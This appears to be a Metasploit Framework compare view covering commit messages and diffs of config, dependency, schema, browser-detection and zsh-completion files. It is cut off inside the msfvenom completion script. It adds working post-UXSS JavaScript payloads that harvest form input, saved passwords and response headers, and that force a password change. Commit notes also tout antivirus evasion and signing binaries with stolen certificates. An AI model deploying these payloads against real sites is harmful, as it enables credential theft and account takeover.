Introduce psexec_psh module which uses the Rex and Msf PSH
methods provided in the lib import.
2013-07-28 19:23:37 -04:00
RageLtMan 4df3b0215c replace lib/msf/core/exploit/powershell.rb, thanks @Meatballs1 2013-07-20 19:55:01 -04:00
RageLtMan 9d93891395 Import old powershell post lib from master
This is temporary and rather messy. Since the internals for
dealing with PSH code have moved to Rex there may be a hiccup or
two here. This was my original attempt at basic PSH integration
and does not make use of the new libraries and namespaces in
this PR.

Will introduce the updated modules and libraries in separate PR.
2013-07-20 19:33:19 -04:00
RageLtMan eb185375f7 Trim to core requirements
Remove .NET compiler, post lib and modules.
2013-07-20 19:31:26 -04:00
RageLtMan dc15c5b505 Merge branch 'master' into powershell_import
Resolve conflicts from old code being pulled into master.

Conflicts:
	lib/msf/core/exploit/powershell.rb
	modules/exploits/windows/smb/psexec_psh.rb
2013-07-20 19:29:55 -04:00
RageLtMan cd14569dcf Revert "post/local_admin_search_enum~Regex fails,module 2"
@g0tm1lk: no clue, you must've pwned me in your sl33p. :)
2013-07-20 19:26:03 -04:00
RageLtMan 4554cc6e51 Import Powershell libs and modules (again)
Add Rex powershell parser:
 reads PSH, determines functions, variables, blocks
 compresses and cleans up the code it's read, obfuscates
 handles string literals and reserved variable names
 extracts code blocks and functions for reuse
  turns powersploit into a useful sub-component for MSF
Rewire Msf powershell modules
 Make use of Rex parser
 Handles payload generation, substituions
 Brings convenience methods - byte array generation and download
 Re-add .NET compiler
  Compiles .NET code (C#/VB.NET) in memory
  Can generate binary output file (dynamic persistence)
  Handles code-signing (steal cert with mimikatz, sign your bin)
  Not detected by AV (still...)
 Update payload generation
  GZip compression and decompression (see Rex module as well)
  msftidy violations for space efficiency - each char counts
Re-submit psexec-psh
 Makes use of updated Msf and Rex modules
 Runs shellcode in-memory (in a hidden PSH window)
 Completely bypasses all AVs tested for the last year...
2013-07-04 14:04:19 -04:00
g0tmi1k 595e538783 post/local_admin_search_enum~Regex fails,module 2
If the regex fails then the entire moudle would too
2013-07-04 13:27:07 -04:00
683 changed files with 24340 additions and 7545 deletions
+4
View File
@@ -13,6 +13,8 @@ Gemfile.local.lock
.DS_Store
# database config for testing
config/database.yml
# target config file for testing
features/support/targets.yml
# simplecov coverage data
coverage
doc/
@@ -50,6 +52,8 @@ tags
# Rails log directory
/log
# Rails tmp directory
/tmp
# ignore release/debug folders for exploits
external/source/exploits/**/Debug
+79
View File
@@ -0,0 +1,79 @@
# This list was intially created by analyzing the last three months (51
# modules) committed to Metasploit Framework. Many, many older modules
# will have offenses, but this should at least provide a baseline for
# new modules.
#
# Updates to this file should include a 'Description' parameter for any
# explaination needed.
# inherit_from: .rubocop_todo.yml
Style/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Style/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Style/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Style/SpaceInsideBrackets:
Enabled: false
Description: 'Until module template are final, most modules will fail this.'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
# def run_host(ip)
# begin
# ...
# rescue ...
# ...
# ensure
# disconnect
# end
# end
- 'modules/**/*'
Documentation:
Exclude:
- 'modules/**/*'
-1
View File
@@ -39,7 +39,6 @@ SimpleCov.configure do
# Other library groups
#
add_group 'Fastlib', 'lib/fastlib'
add_group 'Metasm', 'lib/metasm'
add_group 'PacketFu', 'lib/packetfu'
add_group 'Rex', 'lib/rex'
+6
View File
@@ -1,3 +1,8 @@
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
- RAKE_TASK=spec
language: ruby
before_install:
- rake --version
@@ -14,6 +19,7 @@ before_script:
- bundle exec rake --version
- bundle exec rake db:create
- bundle exec rake db:migrate
script: "bundle exec rake $RAKE_TASK"
rvm:
#- '1.8.7'
+12 -12
View File
@@ -3,13 +3,17 @@
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? If so, please use our [Redmine Bug
Tracker](https://dev.metasploit.com/redmine/projects/framework). An
account is required but it only takes a minute or two.
Are you about to report a bug? Sorry to hear it.
Are you about to report a security vulnerability in Metasploit?
If so, please take a look at Rapid's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy.
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
@@ -33,7 +37,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
@@ -64,18 +68,14 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** create a Redmine account and report your non-vulnerability bugs there.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
+8 -3
View File
@@ -6,10 +6,11 @@ gemspec
group :db do
# Needed for Msf::DbManager
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
# Metasploit::Credential database models
gem 'metasploit-credential', '>= 0.8.6', '< 0.9'
gem 'metasploit-credential', '~> 0.10.1'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.19'
gem 'metasploit_data_models', '~> 0.20.1'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
@@ -38,7 +39,7 @@ group :development, :test do
gem 'rspec', '>= 2.12', '< 3.0.0'
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
end
group :pcap do
@@ -48,6 +49,10 @@ group :pcap do
end
group :test do
# cucumber extension for testing command line applications, like msfconsole
gem 'aruba'
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails', :require => false
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
+75 -17
View File
@@ -1,18 +1,19 @@
PATH
remote: .
specs:
metasploit-framework (4.10.0.pre.dev)
metasploit-framework (4.10.1.pre.dev)
actionpack (< 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-model (~> 0.26.1)
meterpreter_bins (= 0.0.6)
metasploit-concern (~> 0.2.1)
metasploit-model (~> 0.27.1)
meterpreter_bins (= 0.0.7)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rkelly-remix (= 0.0.6)
robots
rubyzip (~> 1.1)
sqlite3
@@ -21,6 +22,9 @@ PATH
GEM
remote: https://rubygems.org/
specs:
actionmailer (3.2.19)
actionpack (= 3.2.19)
mail (~> 2.5.4)
actionpack (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
@@ -39,15 +43,40 @@ GEM
activesupport (= 3.2.19)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activeresource (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
activesupport (3.2.19)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.3)
arel-helpers (2.0.1)
activerecord (>= 3.1.0, < 5)
aruba (0.6.1)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.7)
builder (3.0.4)
capybara (2.4.1)
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.5.3)
ffi (~> 1.0, >= 1.0.11)
coderay (1.1.0)
cucumber (1.2.1)
builder (>= 2.1.2)
diff-lcs (>= 1.1.3)
gherkin (~> 2.11.0)
json (>= 1.4.6)
cucumber-rails (1.4.0)
capybara (>= 1.1.2)
cucumber (>= 1.2.0)
nokogiri (>= 1.5.0)
rails (>= 3.0.0)
diff-lcs (1.2.5)
erubis (2.7.0)
factory_girl (4.4.0)
@@ -55,31 +84,44 @@ GEM
factory_girl_rails (4.4.1)
factory_girl (~> 4.4.0)
railties (>= 3.0.0)
ffi (1.9.3)
fivemat (1.2.1)
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
journey (1.0.4)
jsobfu (0.2.0)
rkelly-remix (= 0.0.6)
json (1.8.1)
metasploit-concern (0.1.1)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.2.1)
activesupport (~> 3.0, >= 3.0.0)
metasploit-credential (0.8.6)
metasploit-concern (~> 0.1.0)
metasploit-model (~> 0.26.1)
metasploit_data_models (~> 0.19.4)
railties (< 4.0.0)
metasploit-credential (0.10.1)
metasploit-concern (~> 0.2.1)
metasploit-model (~> 0.27.0)
metasploit_data_models (~> 0.20.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.26.1)
metasploit-model (0.27.1)
activesupport
metasploit_data_models (0.19.4)
railties (< 4.0.0)
metasploit_data_models (0.20.1)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.1.0)
metasploit-model (~> 0.26.1)
metasploit-concern (~> 0.2.1)
metasploit-model (~> 0.27.0)
pg
meterpreter_bins (0.0.6)
railties (< 4.0.0)
meterpreter_bins (0.0.7)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.0)
msgpack (0.5.8)
multi_json (1.0.4)
@@ -89,6 +131,7 @@ GEM
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.17.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
@@ -100,6 +143,14 @@ GEM
rack
rack-test (0.6.2)
rack (>= 1.0)
rails (3.2.19)
actionmailer (= 3.2.19)
actionpack (= 3.2.19)
activerecord (= 3.2.19)
activeresource (= 3.2.19)
activesupport (= 3.2.19)
bundler (~> 1.0)
railties (= 3.2.19)
railties (3.2.19)
actionpack (= 3.2.19)
activesupport (= 3.2.19)
@@ -149,7 +200,12 @@ GEM
thor (0.19.1)
tilt (1.4.1)
timecop (0.7.1)
tzinfo (0.3.40)
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
tzinfo (0.3.41)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)
PLATFORMS
@@ -157,12 +213,14 @@ PLATFORMS
DEPENDENCIES
activerecord (>= 3.0.0, < 4.0.0)
aruba
cucumber-rails
factory_girl (>= 4.1.0)
factory_girl_rails
fivemat (= 1.2.1)
metasploit-credential (>= 0.8.6, < 0.9)
metasploit-credential (~> 0.10.1)
metasploit-framework!
metasploit_data_models (~> 0.19)
metasploit_data_models (~> 0.20.1)
network_interface (~> 0.0.1)
pcaprub
pg (>= 0.11)
-4
View File
@@ -87,10 +87,6 @@ Files: lib/bit-struct.rb lib/bit-struct/*
Copyright: 2005-2009, Joel VanderWerf
License: Ruby
Files: lib/fastlib.rb
Copyright: 2011, Rapid7, Inc.
License: Ruby
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
Copyright: 2006-2010 Yoann GUILLOT
License: LGPL-2.1
Regular → Executable
View File
@@ -9,8 +9,8 @@ module Metasploit::Credential::Core::ToCredential
def to_credential
Metasploit::Framework::Credential.new(
public: public.try(:username),
private: private.try(:data),
public: public.try(:username) || '',
private: private.try(:data) || '',
private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym),
realm: realm.try(:value),
realm_key: realm.try(:key),
+2 -18
View File
@@ -26,30 +26,14 @@ require 'action_view/railtie'
#
require 'metasploit/framework/common_engine'
require 'msf/base/config'
require 'metasploit/framework/database'
module Metasploit
module Framework
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
environment_database_yaml = ENV['MSF_DATABASE_CONFIG']
if environment_database_yaml
# DO NOT check if the path exists: if the environment variable is set, then the user meant to use this path
# and if it doesn't exist then an error should occur so the user knows the environment variable points to a
# non-existent file.
config.paths['config/database'] = environment_database_yaml
else
user_config_root = Pathname.new(Msf::Config.get_config_root)
user_database_yaml = user_config_root.join('database.yml')
# DO check if the path exists as in test environments there may be no config root, in which case the normal
# rails location, `config/database.yml`, should contain the database config.
if user_database_yaml.exist?
config.paths['config/database'] = [user_database_yaml.to_path]
end
end
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end
end
+10
View File
@@ -0,0 +1,10 @@
<%
rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
ignored_tags = "--tags ~@boot --tags ~@targets"
%>
default: <%= std_opts %> <%= ignored_tags %> features
boot: <%= std_opts %> --tags @boot features
wip: --tags @wip:3 --wip features
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+33
View File
@@ -0,0 +1,33 @@
/* steal_form.js: can be injected into a frame/window after a UXSS */
/* exploit to steal any autofilled inputs, saved passwords, or any */
/* data entered into a form. */
/* keep track of what input fields we have discovered */
var found = {};
setInterval(function(){
/* poll the DOM to check for any new input fields */
var inputs = document.querySelectorAll('input,textarea,select');
Array.prototype.forEach.call(inputs, function(input) {
var val = input.value||'';
var name = input.getAttribute('name')||'';
var t = input.getAttribute('type')||'';
if (input.tagName == 'SELECT') {
try { val = input.querySelector('option:checked').value }
catch (e) {}
}
if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return;
/* check if this is a valid input/value pair */
try {
if (val.length && name.length) {
if (found[name] != val) {
/* new input/value discovered, remember it and send it up */
found[name] = val;
var result = { name: name, value: val, url: window.location.href, send: true };
(opener||top).postMessage(JSON.stringify(result), '*');
}
}
} catch (e) {}
});
}, 200);
+17
View File
@@ -0,0 +1,17 @@
/* steal_headers.js: can be injected into a frame/window after a UXSS */
/* exploit to steal the response headers of the loaded URL. */
/* send an XHR request to our current page */
var x = new XMLHttpRequest;
x.open('GET', window.location.href, true);
x.onreadystatechange = function() {
/* when the XHR request is complete, grab the headers and send them back */
if (x.readyState == 2) {
(opener||top).postMessage(JSON.stringify({
headers: x.getAllResponseHeaders(),
url: window.location.href,
send: true
}), '*');
}
};
x.send();
+36
View File
@@ -0,0 +1,36 @@
/* submit_form.js: can be injected into a frame/window after a UXSS */
/* exploit to modify and submit a form in the target page. */
/* modify this hash to your liking */
var formInfo = {
/* CSS selector for the form you want to submit */
selector: 'form[action="/update_password"]',
/* inject values into some input fields */
inputs: {
'user[new_password]': 'pass1234',
'user[new_password_confirm]': 'pass1234'
}
}
var c = setInterval(function(){
/* find the form... */
var form = document.querySelector(formInfo.selector);
if (!form) return;
/* loop over every input field, set the value as specified. */
Array.prototype.forEach.call(form.elements, function(input) {
var inject = formInfo.inputs[input.name];
if (inject) input.setAttribute('value', inject);
});
/* submit the form and clean up */
form.submit();
clearInterval(c);
/* report back */
var message = "Form submitted to "+form.getAttribute('action');
var url = window.location.href;
(opener||top).postMessage(JSON.stringify({message: message, url: url}), '*');
}, 100);
+3 -3
View File
@@ -1,10 +1,10 @@
window.ie_addons_detect = { };
var ie_addons_detect = { };
/**
* Returns true if this ActiveX is available, otherwise false.
* Grabbed this directly from browser_autopwn.rb
**/
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
ie_addons_detect.hasActiveX = function (axo_name, method) {
var axobj = null;
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
axobj = document.createElement("object");
@@ -41,7 +41,7 @@ window.ie_addons_detect.hasActiveX = function (axo_name, method) {
/**
* Returns the version of Microsoft Office. If not found, returns null.
**/
window.ie_addons_detect.getMsOfficeVersion = function () {
ie_addons_detect.getMsOfficeVersion = function () {
var version;
var types = new Array();
for (var i=1; i <= 5; i++) {
+4 -4
View File
@@ -1,10 +1,10 @@
window.misc_addons_detect = { };
var misc_addons_detect = { };
/**
* Detects whether the browser supports Silverlight or not
**/
window.misc_addons_detect.hasSilverlight = function () {
misc_addons_detect.hasSilverlight = function () {
var found = false;
//
@@ -49,7 +49,7 @@ window.misc_addons_detect.hasSilverlight = function () {
/**
* Returns the Adobe Flash version
**/
window.misc_addons_detect.getFlashVersion = function () {
misc_addons_detect.getFlashVersion = function () {
var foundVersion = null;
//
@@ -96,7 +96,7 @@ window.misc_addons_detect.getFlashVersion = function () {
/**
* Returns the Java version
**/
window.misc_addons_detect.getJavaVersion = function () {
misc_addons_detect.getJavaVersion = function () {
var foundVersion = null;
//
+33 -25
View File
@@ -1,28 +1,28 @@
// Case matters, see lib/msf/core/constants.rb
// All of these should match up with constants in ::Msf::HttpClients
clients_opera = "Opera";
clients_ie = "MSIE";
clients_ff = "Firefox";
clients_chrome= "Chrome";
clients_safari= "Safari";
var clients_opera = "Opera";
var clients_ie = "MSIE";
var clients_ff = "Firefox";
var clients_chrome= "Chrome";
var clients_safari= "Safari";
// All of these should match up with constants in ::Msf::OperatingSystems
oses_linux = "Linux";
oses_windows = "Microsoft Windows";
oses_mac_osx = "Mac OS X";
oses_freebsd = "FreeBSD";
oses_netbsd = "NetBSD";
oses_openbsd = "OpenBSD";
var oses_linux = "Linux";
var oses_windows = "Microsoft Windows";
var oses_mac_osx = "Mac OS X";
var oses_freebsd = "FreeBSD";
var oses_netbsd = "NetBSD";
var oses_openbsd = "OpenBSD";
// All of these should match up with the ARCH_* constants
arch_armle = "armle";
arch_x86 = "x86";
arch_x86_64 = "x86_64";
arch_ppc = "ppc";
arch_mipsle = "mipsle";
var arch_armle = "armle";
var arch_x86 = "x86";
var arch_x86_64 = "x86_64";
var arch_ppc = "ppc";
var arch_mipsle = "mipsle";
window.os_detect = {};
var os_detect = {};
/**
* This can reliably detect browser versions for IE and Firefox even in the
@@ -30,7 +30,7 @@ window.os_detect = {};
* requires truthful navigator.appVersion and navigator.userAgent strings in
* order to be accurate for more than just IE on Windows.
**/
window.os_detect.getVersion = function(){
os_detect.getVersion = function(){
//Default values:
var os_name;
var os_flavor;
@@ -219,7 +219,15 @@ window.os_detect.getVersion = function(){
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
if ('copyWithin' in Array.prototype) {
ua_version = '32.0';
} else if ('fill' in Array.prototype) {
ua_version = '31.0';
} else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) {
ua_version = '30.0';
} else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) {
ua_version = '29.0';
} else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
ua_version = '28.0';
} else if (css_is_valid('cursor', 'cursor', 'grab')) {
ua_version = '27.0';
@@ -699,7 +707,7 @@ window.os_detect.getVersion = function(){
// Verify whether the ua string is lying by checking if it contains
// the major version we detected using known objects above. If it
// appears to be truthful, then use its more precise version number.
if (version && version.split(".")[0] == ua_version.split(".")[0]) {
if (version && ua_version && version.split(".")[0] == ua_version.split(".")[0]) {
// The version number will sometimes end with a space or end of
// line, so strip off anything after a space if one exists
if (-1 != version.indexOf(" ")) {
@@ -1113,7 +1121,7 @@ window.os_detect.getVersion = function(){
return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
}; // function getVersion
window.os_detect.searchVersion = function(needle, haystack) {
os_detect.searchVersion = function(needle, haystack) {
var index = haystack.indexOf(needle);
var found_version;
if (index == -1) { return; }
@@ -1129,7 +1137,7 @@ window.os_detect.searchVersion = function(needle, haystack) {
/*
* Return -1 if a < b, 0 if a == b, 1 if a > b
*/
window.ua_ver_cmp = function(ver_a, ver_b) {
ua_ver_cmp = function(ver_a, ver_b) {
// shortcut the easy case
if (ver_a == ver_b) {
return 0;
@@ -1173,15 +1181,15 @@ window.ua_ver_cmp = function(ver_a, ver_b) {
return 0;
};
window.ua_ver_lt = function(a, b) {
ua_ver_lt = function(a, b) {
if (-1 == this.ua_ver_cmp(a,b)) { return true; }
return false;
};
window.ua_ver_gt = function(a, b) {
ua_ver_gt = function(a, b) {
if (1 == this.ua_ver_cmp(a,b)) { return true; }
return false;
};
window.ua_ver_eq = function(a, b) {
ua_ver_eq = function(a, b) {
if (0 == this.ua_ver_cmp(a,b)) { return true; }
return false;
};
Binary file not shown.
+1
View File
@@ -3,3 +3,4 @@ admin
root
Administrator
USERID
guest
+2 -1
View File
@@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140801150537) do
ActiveRecord::Schema.define(:version => 20140905031549) do
create_table "api_keys", :force => true do |t|
t.text "token"
@@ -125,6 +125,7 @@ ActiveRecord::Schema.define(:version => 20140801150537) do
t.integer "host_detail_count", :default => 0
t.integer "exploit_attempt_count", :default => 0
t.integer "cred_count", :default => 0
t.string "detected_arch"
end
add_index "hosts", ["name"], :name => "index_hosts_on_name"
+1 -1
View File
@@ -7,7 +7,7 @@ CLASSES = Exploit.java
all: $(CLASSES:.java=.class)
install:
mv *.class ../../../../data/exploits/CVE-2013-3465/
mv *.class ../../../../data/exploits/CVE-2013-2465/
clean:
rm -rf *.class
+3
View File
@@ -0,0 +1,3 @@
Metasploit completion definitions for zsh. The directory containing the
completion files needs to be added to the ```$fpath``` environment variable,
this is usually done in the ```~/.zshrc``` file.
+39
View File
@@ -0,0 +1,39 @@
#compdef msfconsole
# ------------------------------------------------------------------------------
# License
# -------
# This file is part of the Metasploit Framework and is released under the MSF
# License, please see the COPYING file for more details.
#
# ------------------------------------------------------------------------------
# Description
# -----------
#
# Completion script for the Metasploit Framework's msfconsole command
# (http://www.metasploit.com/).
#
# ------------------------------------------------------------------------------
# Authors
# -------
#
# * Spencer McIntyre
#
# ------------------------------------------------------------------------------
_arguments \
{-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \
"-c[Load the specified configuration file]:configuration file:_files" \
{-d,--defanged}"[Execute the console as defanged]" \
{-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \
{-h,--help}"[Show help text]" \
{-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \
{-M,--migration-path}"[Specify a directory containing additional DB migrations]:directory:_files -/" \
{-m,--module-path}"[Specifies an additional module search path]:search path:_files -/" \
{-n,--no-database}"[Disable database support]" \
{-o,--output}"[Output to the specified file]:output file" \
{-p,--plugin}"[Load a plugin on startup]:plugin file:_files" \
{-q,--quiet}"[Do not print the banner on start up]" \
{-r,--resource}"[Execute the specified resource file]:resource file:_files" \
{-v,--version}"[Show version]" \
{-x,--execute-command}"[Execute the specified string as console commands]:commands" \
{-y,--yaml}"[Specify a YAML file containing database settings]:yaml file:_files"
+82
View File
@@ -0,0 +1,82 @@
#compdef msfencode
# ------------------------------------------------------------------------------
# License
# -------
# This file is part of the Metasploit Framework and is released under the MSF
# License, please see the COPYING file for more details.
#
# ------------------------------------------------------------------------------
# Description
# -----------
#
# Completion script for the Metasploit Framework's msfencode command
# (http://www.metasploit.com/).
#
# ------------------------------------------------------------------------------
# Authors
# -------
#
# * Spencer McIntyre
#
# ------------------------------------------------------------------------------
_msfencode_encoders_list=(
'cmd/generic_sh'
'cmd/ifs'
'cmd/powershell_base64'
'cmd/printf_php_mq'
'generic/eicar'
'generic/none'
'mipsbe/byte_xori'
'mipsbe/longxor'
'mipsle/byte_xori'
'mipsle/longxor'
'php/base64'
'ppc/longxor'
'ppc/longxor_tag'
'sparc/longxor_tag'
'x64/xor'
'x86/add_sub'
'x86/alpha_mixed'
'x86/alpha_upper'
'x86/avoid_underscore_tolower'
'x86/avoid_utf8_tolower'
'x86/bloxor'
'x86/call4_dword_xor'
'x86/context_cpuid'
'x86/context_stat'
'x86/context_time'
'x86/countdown'
'x86/fnstenv_mov'
'x86/jmp_call_additive'
'x86/nonalpha'
'x86/nonupper'
'x86/opt_sub'
'x86/shikata_ga_nai'
'x86/single_static_bit'
'x86/unicode_mixed'
'x86/unicode_upper'
)
_msfencode_encoder() {
_describe -t encoders 'available encoders' _msfencode_encoders_list || compadd "$@"
}
_arguments \
"-a[The architecture to encode as]:architecture:(cmd generic mipsbe mipsle php ppc sparc x64 x86)" \
"-b[The list of characters to avoid, example: '\x00\xff']:bad characters" \
"-c[The number of times to encode the data]:times" \
"-d[Specify the directory in which to look for EXE templates]:template file:_files -/" \
"-e[The encoder to use]:encoder:_msfencode_encoder" \
"-h[Help banner]" \
"-i[Encode the contents of the supplied file path]:input file:_files" \
"-k[Keep template working; run payload in new thread (use with -x)]" \
"-l[List available encoders]" \
"-m[Specifies an additional module search path]:module path:_files -/" \
"-n[Dump encoder information]" \
"-o[The output file]:output file" \
"-p[The platform to encode for]:target platform:(android bsd bsdi java linux netware nodejs osx php python ruby solaris unix win)" \
"-s[The maximum size of the encoded data]:maximum size" \
"-t[The output format]:output format:(bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript asp aspx aspx-exe dll elf exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net psh-reflection vba vba-exe vbs war)" \
"-v[Increase verbosity]" \
"-x[Specify an alternate executable template]:template file:_files"
+81
View File
@@ -0,0 +1,81 @@
#compdef msfvenom
# ------------------------------------------------------------------------------
# License
# -------
# This file is part of the Metasploit Framework and is released under the MSF
# License, please see the COPYING file for more details.
#
# ------------------------------------------------------------------------------
# Description
# -----------
#
# Completion script for the Metasploit Framework's msfvenom command
# (http://www.metasploit.com/).
#
# ------------------------------------------------------------------------------
# Authors
# -------
#
# * Spencer McIntyre
#
# ------------------------------------------------------------------------------
_msfvenom_encoders_list=(
'cmd/generic_sh'
'cmd/ifs'
'cmd/powershell_base64'
'cmd/printf_php_mq'
'generic/eicar'
'generic/none'
'mipsbe/byte_xori'
'mipsbe/longxor'
'mipsle/byte_xori'
'mipsle/longxor'
'php/base64'
'ppc/longxor'
'ppc/longxor_tag'
'sparc/longxor_tag'
'x64/xor'
'x86/add_sub'
'x86/alpha_mixed'
'x86/alpha_upper'
'x86/avoid_underscore_tolower'
'x86/avoid_utf8_tolower'
'x86/bloxor'
'x86/call4_dword_xor'
'x86/context_cpuid'
'x86/context_stat'
'x86/context_time'
'x86/countdown'
'x86/fnstenv_mov'
'x86/jmp_call_additive'
'x86/nonalpha'
'x86/nonupper'
'x86/opt_sub'
'x86/shikata_ga_nai'
'x86/single_static_bit'
'x86/unicode_mixed'
'x86/unicode_upper'
)
_msfvenom_encoder() {
_describe -t encoders 'available encoders' _msfvenom_encoders_list || compadd "$@"
}
_arguments \
{-a,--arch}"[The architecture to encode as]:architecture:(cmd generic mipsbe mipsle php ppc sparc x64 x86)" \
{-b,--bad-chars}"[The list of characters to avoid, example: '\x00\xff']:bad characters" \
{-c,--add-code}"[Specify an additional win32 shellcode file to include]:shellcode file:_files" \
{-e,--encoder}"[The encoder to use]:encoder:_msfvenom_encoder" \
